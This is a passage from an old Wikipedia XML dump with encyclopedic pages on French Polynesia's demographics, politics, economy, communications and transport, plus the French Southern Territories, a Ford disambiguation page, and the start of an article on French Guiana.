:* Permanent crops: 6%
:* Permanent pastures: 5%
:* Forests and woodland: 31%
:* Other: 57% (1993 est.)
; Irrigated land:
: NA km&amp;sup2;
; Natural hazards:
: Occasional cyclonic storms in January
; Environment - current issues:
: NA
; Geography - note:
: Includes five archipelagoes; [[Makatea]] in French Polynesia is one of the three great phosphate rock islands in the Pacific Ocean - the others are [[Banaba Island|Banaba]] (Ocean Island) in [[Kiribati]] and [[Nauru]]

See also: [[French Polynesia]]

[[Category:French Polynesia]]
[[Category:Geography by country|French Polynesia]]
[[fr:Géographie de la Polynésie française]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of French Polynesia</title>
    <id>10740</id>
    <revision>
      <id>15908536</id>
      <timestamp>2005-02-13T11:57:08Z</timestamp>
      <contributor>
        <username>TShilo12</username>
        <id>153537</id>
      </contributor>
      <minor />
      <comment>fixed bad wikiography</comment>
      <text xml:space="preserve">'''[[Population]]:'''
249,110 (July 2000 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
30% (male 38,736; female 37,197)
&lt;br&gt;''15-64 years:''
65% (male 83,986; female 76,973)
&lt;br&gt;''65 years and over:''
5% (male 6,127; female 6,091) (2000 est.)

'''Population growth rate:'''
1.78% (2000 est.)

'''[[Birth rate]]:'''
19.01 births/1,000 population (2000 est.)

'''[[Death]] rate:'''
4.41 deaths/1,000 population (2000 est.)

'''Net [[migration]] rate:'''
3.14 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.05 male(s)/female
&lt;br&gt;''under 15 years:''
1.04 male(s)/female
&lt;br&gt;''15-64 years:''
1.09 male(s)/female
&lt;br&gt;''65 years and over:''
1.01 male(s)/female
&lt;br&gt;''total population:''
1.07 male(s)/female (2000 est.)

'''[[Infant mortality]] rate:'''
9.3 deaths/1,000 live births (2000 est.)

'''[[Life expectancy]] at birth:'''
&lt;br&gt;''total population:''
74.79 years
&lt;br&gt;''male:''
72.47 years
&lt;br&gt;''female:''
77.22 years (2000 est.)

'''Total [[fertility]] rate:'''
2.28 children born/woman (2000 est.)

'''[[Nationality]]:'''
&lt;br&gt;''noun:''
French Polynesian(s)
&lt;br&gt;''adjective:''
French Polynesian

'''[[Ethnic group]]s:'''
[[Polynesia]]n 78%, [[China|Chinese]] 12%, local [[France|French]] 6%, metropolitan French 4%

'''[[Religion]]s:'''
[[Protestantism]] 54%, [[Roman Catholicism]] 30%, other 16%

'''Languages:'''
[[French language|French]] (official), [[Tahitian language|Tahitian]] (official)
:Other languages with only local (if any official) status
::[[Marquesan language|Marquesan]] ([[North Marquesan language|North Marquesan]], [[South Marquesan language|South Marquesan]]), [[Puka-Pukan language|Puka-Pukan]], [[Tuamotuan language|Tuamotuan]], [[Mangarevan language|Mangarevan]], [[Tubuaian language|Tubuaian]] and [[Rapan language|Rapan]]

'''[[Literacy]]:'''
&lt;br&gt;''definition:''
age 14 and over can read and write
&lt;br&gt;''total population:''
98%
&lt;br&gt;''male:''
98%
&lt;br&gt;''female:''
98% (1977 est.)

:''See also :'' [[French Polynesia]]

[[Category:French Polynesia]]

[[fr:Démographie de la Polynésie française]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of French Polynesia</title>
    <id>10741</id>
    <revision>
      <id>41236744</id>
      <timestamp>2006-02-25T23:56:57Z</timestamp>
      <contributor>
        <ip>70.80.222.71</ip>
      </contributor>
      <text xml:space="preserve">{{cleanup-date|December 2005}}
{{Politics of French Polynesia}}
==Political parties and elections==
{{elect|List of political parties in French Polynesia|Elections in French Polynesia}}
{{main|French Polynesian legislative election, 2004}}
{{French Polynesian legislative election, 2004}}
==Other data==
'''Country name:'''
&lt;br&gt;''conventional long form:'' Overseas Lands of French Polynesia
&lt;br&gt;''conventional short form:'' French Polynesia
&lt;br&gt;''local long form:'' Pays d'outre-mer de la Polynesie Francaise
&lt;br&gt;''local short form:'' Polynésie française

'''Data code:''' FP

'''Dependency status:'''

Between [[1946]] and [[2003]], French Polynesia had the status of a overseas territory.([[French language|French]]: ''[[territoire d'outre-mer]]'', or ''TOM''). In [[2003]] it became an overseas collectivity ([[French language|French]]: ''[[collectivité d'outre-mer]]'', or COM). Its statutory law of [[27 February]] [[2004]] gives it the particular designation of &quot;overseas country&quot; to underline the large autonomy of the territory.

See also: [[French overseas departments and territories]] and [[Administrative divisions of France]]

'''Government type:''' NA

'''Capital:''' [[Papeete]]

'''Administrative divisions:'''
none (overseas collectivity of France); there are no first-order administrative divisions as defined by the US Government, but there are 5 archipelagic divisions.

French Polynesia has 5 administrative subdivisions ([[French language|French]]: ''subdivisions administratives''):

* [[Windward Islands (Society Islands)|Windward Islands]] ([[French language|French]]: ''(les) Îles du Vent'' or officially ''la subdivision administrative des Îles du Vent'') (the two ''subdivisions administratives'' [[Windward Islands (Society Islands)|Windward Islands]] and [[Leeward Islands (Society Islands)|Leeward Islands]] are part of the [[Society Islands]])
* [[Leeward Islands (Society Islands)|Leeward Islands]] ([[French language|French]]: ''(les) Îles Sous-le-Vent'' or officially ''la subdivision administrative des Îles Sous-le-Vent'') (the two ''subdivisions administratives'' [[Windward Islands (Society Islands)|Windward Islands]] and [[Leeward Islands (Society Islands)|Leeward Islands]] are part of the [[Society Islands]])
* [[Marquesas Islands]] ([[French language|French]]: ''(les) (Îles) Marquises'' or officially ''la subdivision administrative des (Îles) Marquises'')
* [[Austral Islands]] ([[French language|French]]: ''(les) (Îles) Australes'' or officially ''la subdivision administrative des (Îles) Australes'') (including the [[Bass Islands (French Polynesia)|Bass Islands]])
* [[Îles Tuamotu-Gambier|Tuamotu-Gambier]] ([[French language|French]]: ''(les) (Îles) Tuamotu-Gambier'' or officially ''la subdivision administrative des (Îles) Tuamotu-Gambier'') (the [[Tuamotus]] and the [[Gambier Islands]])
''note:'' [[Clipperton Island]] ([[French language|French]]: ''Île de Clipperton''), just off the coast of Mexico, is administered by France from French Polynesia.

'''Electoral divisions:'''

The members of the [[Assembly of French Polynesia]] are elected in 6 different electoral districts or electoral circumscriptions ([[French language|French]]: ''circonscriptions électorales'') which slightly differ from the administrative subdivisions (''subdivisions administratives'') on the [[Tuamotus]] and the [[Gambier Islands]]. The 6 electoral circumscriptions (''circonscriptions électorales'') are:

* electoral circumscription of the [[Windward Islands (Society Islands)|Windward Islands]] (''circonscription des Îles du Vent'') (37 members)
* electoral circumscription of the [[Leeward Islands (Society Islands)|Leeward Islands]] (''circonscription des Îles Sous-le-Vent'') (8 members)
* electoral circumscription of the [[Austral Islands]] (''circonscription des Îles Australes'') (3 members)
* electoral circumscription of the [[Gambier Islands and the Islands Tuamotu-East]] (''circonscription des Îles Gambier et Tuamotu Est'') (3 members)
* electoral circumscription of the [[Islands Tuamotu-West]] (''circonscription des Îles Tuamotu Ouest'') (3 members)
* electoral circumscription of the [[Marquesas Islands]] (''circonscription des Îles Marquises'') (3 members)

'''Independence:''' none (overseas collectivity of France)

'''National holiday:''' [[Bastille Day]], [[July 14]], [[1789]].

'''Constitution:''' [[September 28]], [[1958]] ([[Constitution of France|French Constitution]]) ; [[February 27]], [[2004]] (organic law on the auonoms status of French Polynesia)

'''Legal system:''' based on French system

'''Suffrage:''' 18 years of age; universal

'''Executive branch:'''

''chief of state:''
[[President of the French Republic]] (''Le Président de la République'') [[Jacques Chirac]] (since [[May 17]], [[1995]]), represented by the [[High Commissioner of the Republic in French Polynesia]] (''Le Haut-Commissaire de la République en Polynésie française'') [[Anne Boquet]] (since [[10 September]] [[2005]]).

''head of government:''
President of French Polynesia (''Le président de la Polynésie française'') [[Oscar Temaru|Oscar (Manutahi) Temaru]] (since [[March 3]], [[2005]]); President of the Assembly of French Polynesia (''Le président de l'Assemblée de la Polynésie française'') [[Antony Géros]] (since [[May 9]], [[2004]]).

''cabinet:''
Council of Ministers; president submits a list of members of the Territorial Assembly, the [[Assembly of French Polynesia]] (''Assemblée de la Polynésie française''), for approval by them to serve as ministers.

'''Legislative branch:'''

[[Assembly of French Polynesia]] ([[French language|French]]: ''Assemblée de la Polynésie française''), the unicameral assembly (57 seats; members are elected by [[popular vote]] to serve five-year terms)

''note:''
one seat was elected to the [[French Senate]] on [[September 27]], [[1998]] (next to be held September [[2007]]); ''results:'' percent of vote by party - NA%; seats by party - NA; two seats were elected to the [[French National Assembly]] on [[June 9]] [[2002]]-[[June 16]] [[2002]] (next to be held NA [[2007]]); ''results:'' percent of vote by party - NA%; seats by party - UMP/RPR 1, UMP 1.

'''Judicial branch:'''

Court of Appeal or Cour d'Appel; Court of the First Instance or Tribunal de Premiere Instance; Court of Administrative Law or Tribunal Administratif.

'''International organization participation:'''

[[ESCAP]] (associate), [[FZ]], [[ICFTU]], [[Secretariat of the Pacific Community|SPC]], [[WMO]]

'''Flag description:'''

Two narrow red horizontal bands encase a wide white band; centered on the white band is a disk with blue and white wave pattern on the lower half and gold and white ray pattern on the upper half; a stylized red, blue and white ship rides on the wave pattern; the French flag is used for official occasions.

== See also ==

* [[French Polynesia]]
* [[Elections in French Polynesia]]
* [[French Polynesian legislative election, 2004]]
* [[Assembly of French Polynesia]]

== External links ==

* [http://francepolitique.free.fr/om-pf.htm Francepolitique]
* [http://www.cia.gov/cia/publications/factbook/geos/fp.html CIA World Factbook — French Polynesia]
* [http://www.worldstatesmen.org/Fr_Polynesia.html Listing of politicians of French Polynesia]

{{Oceania in topic|Politics of}}

[[Category:French Polynesia]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of French Polynesia</title>
    <id>10742</id>
    <revision>
      <id>18742152</id>
      <timestamp>2005-07-13T13:18:58Z</timestamp>
      <contributor>
        <username>Fenice</username>
        <id>90242</id>
      </contributor>
      <minor />
      <comment>interwikilink fr</comment>
      <text xml:space="preserve">'''[[Economics|Economy]] - overview:'''
Since [[1962]], when [[France]] stationed [[military]] personnel in the region, French Polynesia has changed from a [[subsistence economy]] to one in which a high proportion of the work force is either employed by the military or supports the [[tourism|tourist]] industry. Tourism accounts for about one-fourth of [[Gross domestic product|GDP]] and is a primary source of hard [[currency]] earnings. The small [[manufacturing]] sector primarily processes [[agriculture|agricultural]] products. The territory benefited from a five-year (1994-98) development agreement with France aimed principally at creating new jobs.

'''GDP:'''
purchasing power parity - $2.6 billion (1997 est.)

'''GDP - real growth rate:'''
NA%

'''GDP - per capita:'''
purchasing power parity - $10,800 (1997 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
4%
&lt;br&gt;''industry:''
18%
&lt;br&gt;''services:''
78% (1997)

'''[[Population]] below poverty line:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''[[Inflation]] rate (consumer prices):'''
1.5% (1994)

'''[[Labour (economics)|Labor]] force:'''
118,744 (of which 70,044 are employed) (1988)

'''Labor force - by occupation:'''
agriculture 13%, industry 19%, services 68% (1997)

'''[[Unemployment]] rate:'''
15% (1992 est.)

'''Budget:'''
&lt;br&gt;''revenues:''
$1 billion
&lt;br&gt;''expenditures:''
$900 million, including capital expenditures of $185 million (1996)

'''Industries:'''
[[tourism]], [[pearl]]s, [[agriculture|agricultural]] processing, [[handicraft]]s

'''Industrial production growth rate:'''
NA%

'''[[Electricity]] - production:'''
360 GWh (1998)

'''Electricity - production by source:'''
&lt;br&gt;''[[fossil fuel]]:''
59.72%
&lt;br&gt;''[[hydropower]]:''
40.28%
&lt;br&gt;''[[nuclear power]]:''
0%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
335 GWh (1998)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''Agriculture - products:'''
[[coconut]]s, [[vanilla]], [[vegetable]]s, [[fruit]]s, [[poultry]], [[beef]], [[dairy]] products

'''[[Export]]s:'''
$212 million (f.o.b., 1996)

'''Exports - commodities:'''
cultured pearls 50%, coconut products, mother-of-pearl, [[vanilla]], shark meat (1997)

'''Exports - partners:'''
[[United States]] 11%, [[France]] 6% (1997)

'''[[Import]]s:'''
$860 million (c.i.f., 1996)

'''Imports - commodities:'''
[[fuel]]s, [[food]]stuffs, equipment

'''Imports - partners:'''
France 44.7%, US 13.9% (1994)

'''[[Debt]] - external:'''
$NA

'''Economic aid - recipient:'''
$450.4 million (1995)

'''Currency:'''
1 [[Comptoirs Francais du Pacifique franc]] (CFPF) = 100 centimes

'''Exchange rates:'''
Comptoirs Francais du Pacifique francs (CFPF) per US$1 - 117.67 (January 2000), 111.93 (1999), 107.25 (1998), 106.11 (1997), 93.00 (1996), 90.75 (1995); note - linked at the exact official rate of 0.055 French francs to one Pacifique franc. Now that France has switched its currency to the Euro, this static link remains true, at the rate of about 119.26 Pacifique franc to one Euro (1 Euro being exactly 6.55957 French francs).

'''[[Fiscal year]]:'''
[[calendar year]]

:''See also :'' [[French Polynesia]]

[[Category:French Polynesia]]
[[Category:Economies by country|French Polynesia]]

[[fr:Économie de la Polynésie française]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in French Polynesia</title>
    <id>10743</id>
    <revision>
      <id>15908539</id>
      <timestamp>2004-10-30T10:30:47Z</timestamp>
      <contributor>
        <ip>82.127.153.111</ip>
      </contributor>
      <comment>+ link fr</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
32,000 (1995)

'''Telephones - mobile cellular:'''
4,000 (1995)

'''Telephone system:'''
&lt;br&gt;''domestic:''
NA
&lt;br&gt;''international:''
[[satellite]] [[earth]] station - 1 [[Intelsat]] ([[Pacific Ocean]])

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
AM 2, FM 14, shortwave 2 (1998)

'''Radios:'''
128,000 (1997)

'''[[Television]] broadcast stations:'''
7 (plus 17 low-power repeaters) (1997)

'''Televisions:'''
40,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
NA

'''[[Country code]] (Top level domain):''' PF

:''See also :'' [[French Polynesia]]

[[Category:Communications by country|French Polynesia]]
[[Category:French Polynesia]]

[[fr:Communications en Polynésie française]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in French Polynesia</title>
    <id>10744</id>
    <revision>
      <id>40212400</id>
      <timestamp>2006-02-19T00:12:22Z</timestamp>
      <contributor>
        <username>FRED</username>
        <id>250005</id>
      </contributor>
      <comment>fr</comment>
      <text xml:space="preserve">{{CIA}}

'''[[Railway]]s:'''
0 km

'''[[Highway]]s:'''
&lt;br&gt;''total:''
2590 km
&lt;br&gt;''paved:''
1735 km
&lt;br&gt;''unpaved:''
855 km (1999)

'''Ports and [[harbour]]s:'''
[[Mataura, French Polynesia|Mataura]], [[Papeete]], [[Rikitea]], [[Uturoa]]

'''[[Merchant marine]]:'''
&lt;br&gt;''total:''
10 ships (1,000 [[GRT]] or over) totaling 17,537 GRT/15,150 [[DWT]] 
&lt;br&gt;''ships by type:''
cargo 3, passenger 2, passenger/cargo 3, refrigerated cargo 1, roll on/roll off 1 (2003 est.)

'''[[Airport]]s:'''
49 (2003 est.)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
37
&lt;br&gt;''over 3,047 m:''
2
&lt;br&gt;''1,524 to 2,437 m:''
5
&lt;br&gt;''914 to 1,523 m:''
23
&lt;br&gt;''under 914 m:''
3 (2004 est.)

'''Airports - with unpaved runways:'''
&lt;br&gt;''total:''
13
&lt;br&gt;''914 to 1,523 m:''
5
&lt;br&gt;''under 914 m:''
8 (2004 est.)

'''[[Heliport]]s'''
1 (2003 est.)

:''See also :'' [[French Polynesia]]

{{Oceania in topic|Transport in}}

[[Category:French Polynesia]]
[[Category:Transportation by country|French Polynesia]]

{{CIA WFB 2004}}


[[fr:Transports en Polynésie française]]</text>
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    <title>French Polynesia/Transnational issues</title>
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    <title>French Southern Territories</title>
    <id>10747</id>
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      <timestamp>2006-02-21T22:13:42Z</timestamp>
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      <comment>robot  Adding: sk</comment>
      <text xml:space="preserve">{| class=&quot;toccolours&quot; border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; style=&quot;float: right; width: 300px; margin: 0 0 1em 1em; border-collapse: collapse;&quot;
|+ &lt;big&gt;'''Terres australes et antarctiques françaises (TAAF)'''&lt;/big&gt;
|-
| colspan=&quot;2&quot; style=&quot;background: white; text-align: center;&quot; | 
 {|
 | [[Image:Flag of the French Southern and Antarctic Lands.svg|150px|Flag of TAAF]]
 | [[Image:TAAF-coat_of-arms.png|150px|Coat of Arms of TAAF]]  
 |}
&lt;!-- |-
| colspan=&quot;2&quot; style=&quot;border-bottom: 3px solid gray;&quot; | ''National [[motto]]: [[Liberté, Egalité, Fraternité]]&lt;br&gt;(Liberty, Equality, Brotherhood)'' --&gt;
|-
! [[Official language]]
| [[French language|French]]
|-
! Prefect
| [[Michel Champon]]
|-
! [[Top-level domain|Internet TLD]]
| [[.tf]]
|}
The '''French Southern Territories''' (long name: ''Territory of the French Southern and Antarctic Lands'', [[French language|French]]: ''Territoire des Terres australes et antarctiques françaises'' or ''Terres australes et antarctiques françaises'' or ''T.A.A.F.'' or ''TAAF'') are [[antarctic]], [[volcano|volcanic]] [[island]]s in the southern [[Indian Ocean]], south of [[Africa]] and about equidistant between Africa, [[Antarctica]], and [[Australia]].

[[Image:TAAF-CIA WFB Map.png|frame|right|Map of the French Southern and Antarctic Lands]]
==Administration==

The French Southern Territories form an overseas territory of [[France]] ([[French language|French]]: ''[[territoire d'outre-mer]]'').

It has been an overseas territory of [[France]] since [[1955]]. It was formerly administered from [[Paris]] by an ''administrateur supérieur'', assisted by a secretary-general; however, since December 2004, it is administered by a ''[[préfet]]'' (currently, [[Michel Champon]]), headquartered in [[Saint-Pierre]] on [[Réunion Island]]. The &quot;capital&quot; (main base) of the territory is [[Martin-de-Viviès]] on [[Île Amsterdam]].

The territory is divided into four districts:
*Amsterdam and Saint Paul (''Îles Saint Paul et Amsterdam''), composed of [[Île Amsterdam]] and [[Île Saint-Paul]], area 61 km&amp;sup2;, main base [[Martin-de-Viviès]]
*[[Îles Crozet|Crozet Archipelago]] (''Îles Crozet'' or officially ''Archipel Crozet''), area 505 km&amp;sup2;, main base [[Alfred-Faure]]
*[[Îles Kerguelen|Kerguelen]] (''Îles Kerguelen'' or officially ''Archipel (des) Kerguelen''), area 7,215 km&amp;sup2;, main base [[Port-aux-Français]]
*[[Adélie Land]] (''Terre Adélie''), area 432,000 km&amp;sup2;, main base [[Dumont d'Urville Station|Dumont d'Urville]]

Each district is headed by a district chief, which has powers similar to those of a French mayor (including recording births and deaths and being a [[Police in France|officer of judicial police]]).

Because there is no permanent population, there is no elected assembly, nor does the territory send representatives to the national parliament.

Several countries do not recognize the French claim to &quot;[[Adélie Land]]&quot;, and France's territorial claim is suspended in accordance with the provisions of the [[Antarctic Treaty]].

[[As of 2005]], the inclusion of the [[Scattered Islands in the Indian Ocean|Scattered Islands]] into the TAAF is being considered by the French government. The prefect of the TAAF has already been put in charge of those islands.

==Geography==

The territory includes [[Île Amsterdam]], [[Île Saint-Paul]], [[Îles Crozet]], and [[Îles Kerguelen]] in the southern Indian Ocean near 43°S, 67°E, along with the French-claimed [[sector]] of Antarctica, [[Adélie Land]], named by French [[exploration|explorer]] [[Jules Dumont d'Urville]] after his wife.

The &quot;Adélie Land&quot; of about 432,000 km&amp;sup2; and the islands, totaling 7781 km², have no indigenous inhabitants, though in 1997 there were about 100 researchers whose numbers varied from winter (July) to summer (January).

Île Amsterdam and Île Saint-Paul are extinct [[volcano]]es; the highest point in the territory is Mont Ross on Îles Kerguelen at 1850 meters. There are no airstrips on the islands and the 1232 kilometers of coastline have no ports or harbors, only offshore anchorages.

The islands in the Indian Ocean are supplied by the special ship ''[[Marion Dufresne (ship)|Marion Dufresne]]'' sailing out of [[Le Port (Réunion)|Le Port]] in [[Réunion Island]]. Terre Adélie is supplied by ''[[Astrolabe (ship)|Astrolabe]]'' sailing out of [[Hobart]] in [[Tasmania]].

However, the territory has a [[merchant marine]] fleet totaling (in [[1999]]) 2,892,911 [[GRT]] / 5,165,713 [[DWT]], including seven bulk carriers, five cargo ships, ten chemical tankers, nine container ships, six liquified gas carriers, 24 petroleum tankers, one refrigerated cargo ship, and ten roll-on/roll-off ([[RORO]]) carriers. This fleet is maintained as a subset of the French register that allowing French-owned ships to operate under more liberal taxation and manning regulations than permissible under the main French register. This register, however, is now becoming largely extinct. &lt;!-- because of the creation of the RIF (Registre International Français), but I don't understand how it works --&gt;

==Economy==

The territory's natural resources are limited to fish and [[crayfish]]; economic activity is limited to servicing meteorological and geophysical research stations and French and other fishing fleets.

The main fish resources are [[Patagonian toothfish]] and [[Spiny lobster]]. Both are poached by foreign fleets; because of this, the [[French Navy]] and occasionally other services patrol the zone and arrest poaching vessels. Such arrests can result in heavy fines and/or the seizure of the ship.

France used to sell licenses to fish the Patagonian toothfish to foreign fisheries; because of overfishing, it is now restricted to a small number of fisheries from Réunion Island.

The territory takes in revenues of about $18 million a year.

''Marion Dufresne'' can host a limited number of fee-paying [[tourism|tourist]]s, who will be able to visit the islands as the ship calls.

==Miscellaneous==

The territory's data code is FS and its [[ISO 3166-1]] [[Country codes|country code]] (top level [[Internet]] domain) is TF.

==See also==
* [[French overseas departments and territories]]
* [[Administrative divisions of France]]
* [[Islands controlled by France in the Indian and Pacific oceans]]

==External links==
*[http://www.taaf.fr Official site]
*[http://www.cia.gov/cia/publications/factbook/geos/fs.html French Southern and Antarctic Lands] at the CIA World Factbook
*[http://www.discoverfrance.net/Colonies/Antarctic.shtml Southern &amp; Antarctic Territories]
*[http://www.discoverfrance.net/Colonies/Crozet.shtml Crozet Archipelago]
*[http://www.discoverfrance.net/Colonies/Kerguelen.shtml Kerguelen Archipelago]
*[http://www.discoverfrance.net/Colonies/Terre_Adelie.shtml Terre Adélie]

[[Category:Blue Ensigns]]
[[Category:French Southern Territories]]
[[Category:Special territories of the European Union]]

[[de:Französische Süd- und Antarktisgebiete]]
[[es:Territorios Australes Franceses]]
[[eo:Francaj Sudaj Teritorioj]]
[[fr:Terres australes et antarctiques françaises]]
[[hr:Francuski južni i antarktički teritoriji]]
[[is:Frönsku suðlægu landsvæðin]]
[[it:Territori francesi meridionali]]
[[hu:Francia déli területek]]
[[nl:Franse Zuidelijke en Antarctische Gebieden]]
[[ja:フランス領南方・南極地域]]
[[pl:Francuskie Terytoria Południowe i Antarktyczne]]
[[pt:Terras Austrais e Antárticas Francesas]]
[[ru:Французские Южные и Антарктические Территории]]
[[sk:Francúzske južné a antarktické územia]]
[[sl:Francoske južne in antarktične dežele]]</text>
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  <page>
    <title>Ford (disambiguation)</title>
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      <comment>more fords</comment>
      <text xml:space="preserve">'''Ford''' may mean a number of things:

* A '''[[Ford (crossing)|ford]]''' is a [[river]] crossing.
* '''Ford''' is a shortened name for the [[Ford Motor Company]], founded by [[Henry Ford]]. See also [[Ford Foundation]].
* [[Ford Models]], a [[modelling agency]]
* [[Ford (HM Prison)|HM Prison Ford]], informally known as Ford Open Prison

==Places named Ford==
In the [[United Kingdom]]:
* [[Ford, Argyll]]
* [[Ford, Bideford]], [[Devon]]
* [[Ford, Buckinghamshire]]
* [[Ford, Chippenham]], [[Wiltshire]]
* [[Ford, Kingsbridge]], Devon
* [[Ford, Gloucestershire]]
* [[Ford, Merseyside]]
* [[Ford, Northumberland]]
* [[Ford, Salisbury]], Wiltshire
* [[Ford, Sefton]]
* [[Ford, Shropshire]]
* [[Ford, Somerset]]
* [[Ford, Staffordshire]]
* [[Ford, West Sussex]]

In the [[United States]]:
* [[Ford, Iowa]]
* [[Ford, Kansas]]
* [[Ford, Kentucky]]
* [[Ford, Mississippi]]
* [[Ford, Montana]] - two of them
* [[Ford, Tennessee]]
* [[Ford, Texas]]
* [[Ford, Washington]]
* [[Ford, Wisconsin]]

==People named Ford==
* [[Aleksander Ford]], Polish [[film director]]
* [[Alphonso Ford]], [[basketball]] player
* [[David Robert Ford|Sir David Robert Ford]], the fifth [[Chief Secretary]] of [[Hong Kong]]
* [[Edsel Ford]], son of [[Henry Ford]]
* [[Ford Madox Ford]], [[writer]]
* [[Francis Ford Coppola]], [[film director|director]]
* [[Gerald Ford]], former [[President of the United States]]
* [[Harold Ford Jr.]], US politician, Congressman from [[Tennessee]].
* [[Harrison Ford]], [[actor]]
* Several people named [[Henry Ford (disambiguation)|Henry Ford]]
* Several people named [[John Ford (disambiguation)|John Ford]]
* [[L. R. Ford | Lester R. Ford Sr.]] &amp; [[L. R. Ford | Lester R. Ford Jr.]], [[mathematician]]s
* [[Lita Ford]], [[singer]]
* [[Richard Ford]], [[writer]]
* [[Robben Ford]], [[guitarist]]
* [[Tennessee Ernie Ford]], [[singer]]
* [[Tom Ford]], [[fashion designer]]
* [[Wendell H. Ford]], [[United States Senator]] and [[Governor of Kentucky]]
* [[Whitey Ford]], [[Major League Baseball]] pitcher
* [[Willa Ford]], [[singer]]

----
* Ford, religous figure in [[Aldous Huxley]]'s [[Brave New World]]
* Ford and Mistress Ford, characters in [[Shakespeare]]'s ''[[The Merry Wives of Windsor]]''
* [[Ford Prefect (character)|Ford Prefect]], fictional character in the ''[[Hitchhikers' Guide to the Galaxy]]''

{{disambig}}

[[bg:Форд]]
[[fr:Ford (homonymie)]]
[[de:Ford]]
[[ja:フォード (曖昧さ回避)]]
[[ko:포드]]
[[pl:Ford]]
[[ru:Форд]]</text>
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    <title>French Guiana</title>
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        <username>Wiki-uk</username>
        <id>123983</id>
      </contributor>
      <comment>Added Category:South American countries</comment>
      <text xml:space="preserve">{{Distinguish|French Guinea}}
{{Template:French Guiana infobox}}
'''French Guiana''' ([[French language|French]]: ''Guyane française'', officially ''Guyane'') is an overseas ''[[département in France|département]]'' (''[[département d'outre-mer]], or DOM'') of [[France]], located on the northern coast of [[South America]]. Like the other DOMs, French Guiana is also a ''[[Région in France|région]]'' (''[[région d'outre-mer]]'') of France. It is the smallest political entity on the South American mainland ([[Suriname]] is the smallest independent South American country). It borders the [[Atlantic Ocean]] to the north, [[Brazil]] to the east and south, and Suriname to the west (part of the eastern border with Suriname is disputed).

==History==
''Main article: [[History of French Guiana]]''

First settled by the French in [[1604]], French Guiana was the site of notorious penal settlements (see [[Devil's Island]]) until [[1951]].

==Politics==
''Main article: [[Politics of French Guiana]]''

As an integral part of France, French Guiana is part of the [[European Union]], the largest part in area outside [[Europe]] and the only significant part outside Europe that is not an island (other than the Spanish exclaves in Morocco). The Head of State is the French President who appoints a Préfet (resident at the Prefecture building in Cayenne) as his/her representative. There are two legislative bodies: the 19-member General Council and the 34-member Regional Council, both elected. French Guiana has two seats at the National Assembly in [[Paris]]. French Guiana has traditionally been conservative, though the socialist party has been increasingly successful in recent years. Though many would like to see more autonomy for the region, support for complete independence is very low.

A chronic issue affecting French Guiana is the influx of illegal immigrants and clandestine [[gold prospecting|gold prospectors]] from [[Brazil]] and [[Suriname]]. The border between the ''département'' and Suriname is formed by the [[Maroni River]], which flows through rainforest and is difficult for the [[French Gendarmerie]] to patrol. (The border line with Suriname is disputed.) Illegal [[gold]] mining generates pollution, especially by [[mercury (element)|mercury]], and is also a vector for [[alcoholism]] and [[sexually-transmitted diseases]].

==Geography==
''Main article: [[Geography of French Guiana]]''

Though sharing cultural affinities with the [[French language|French]]-speaking territories of the [[Caribbean]], French Guiana cannot be considered to be part of that region, since the Caribbean Sea actually lies several hundred miles to the west, beyond the arch of the [[Lesser Antilles]]. 

French Guiana consists of two main geographical regions: a coastal strip where the majority of the people live, and dense, near-inaccessible [[rainforest]] which gradually rises to the modest peaks of the [[Tumac-Humac mountains]] along the Brazilian frontier. French Guiana's highest peak is Bellevue de l'Inini (851&amp;nbsp;[[metre|m]]&amp;nbsp;/&amp;nbsp;2,792&amp;nbsp;[[foot (unit of length)|ft]]). Other mountains include Mont Machalou (782&amp;nbsp;m&amp;nbsp;/&amp;nbsp;2,566&amp;nbsp;[[foot (unit of length)|ft]]), Pic Coudreau (711&amp;nbsp;m&amp;nbsp;/&amp;nbsp;2,333&amp;nbsp;[[foot (unit of length)|ft]]) and Mont St Marcel (635&amp;nbsp;m&amp;nbsp;/&amp;nbsp;2,083&amp;nbsp;[[foot (unit of length)|ft]]), Mont Favard (200&amp;nbsp;m&amp;nbsp;/&amp;nbsp;656&amp;nbsp;[[foot (unit of length)|ft]]) and Montagne du Mahury (156&amp;nbsp;m&amp;nbsp;/&amp;nbsp;512&amp;nbsp;[[foot (unit of length)|ft]]). Several small islands are found off the coast, the three [[Iles du Salut]] Salvation Islands which includes [[Devil's Island]] and the isolated Ile de Connetable bird sanctury further along the coast towards Brazil.

The [[Barrage de Petit-Saut]] hydroelectric dam in the north of French Guiana forms an artificial lake and provides [[hydroelectricity]]. There are many rivers in French Guiana.

''See also: [[Communes of the Guyane département]] and [[List of cities in French Guiana]]''

==Economy==
''Main Article: [[Economy of French Guiana]]''

French Guiana is heavily dependent on [[France]] for subsidies and goods. The main industries are fishing (accounting for 3/4 of foreign exports), [[gold]] mining and [[timber]]. In addition the European Space Centre at [[Kourou]] accounts for 25% of the GDP and employs about 1700 people. There is very little manufacturing and agriculture is largely undeveloped (except among the [[Hmong]] population). Tourism, especially [[eco-tourism]], is growing. Unemployment is a major problem, running at about 20%-30%.

[[Image:French Guiana CIA.gif|right|Map Of French Guiana]]

==Demographics==
''Main article: [[Demographics of French Guiana]]''

French Guiana's population of 195,506 (July 2005 est.), most of whom live along the coast, is very ethnically diverse. Estimates of the percentages of French Guiana ethnic composition vary, a problem compounded by the large numbers of legal and illegal immigrants (about 20,000).

[[Creole peoples|Creoles]] (black and mixed black and white) are the largest ethnic group, though estimates vary as to the exact percentage depending upon whether the large [[Haitian]] community is included as well. Generally the Creole population is judged at about 60%-70% with Haitians (roughly 1/3) and 30%-50% without. Roughly 10% are Europeans, the vast majority of whom are [[French people|French]].

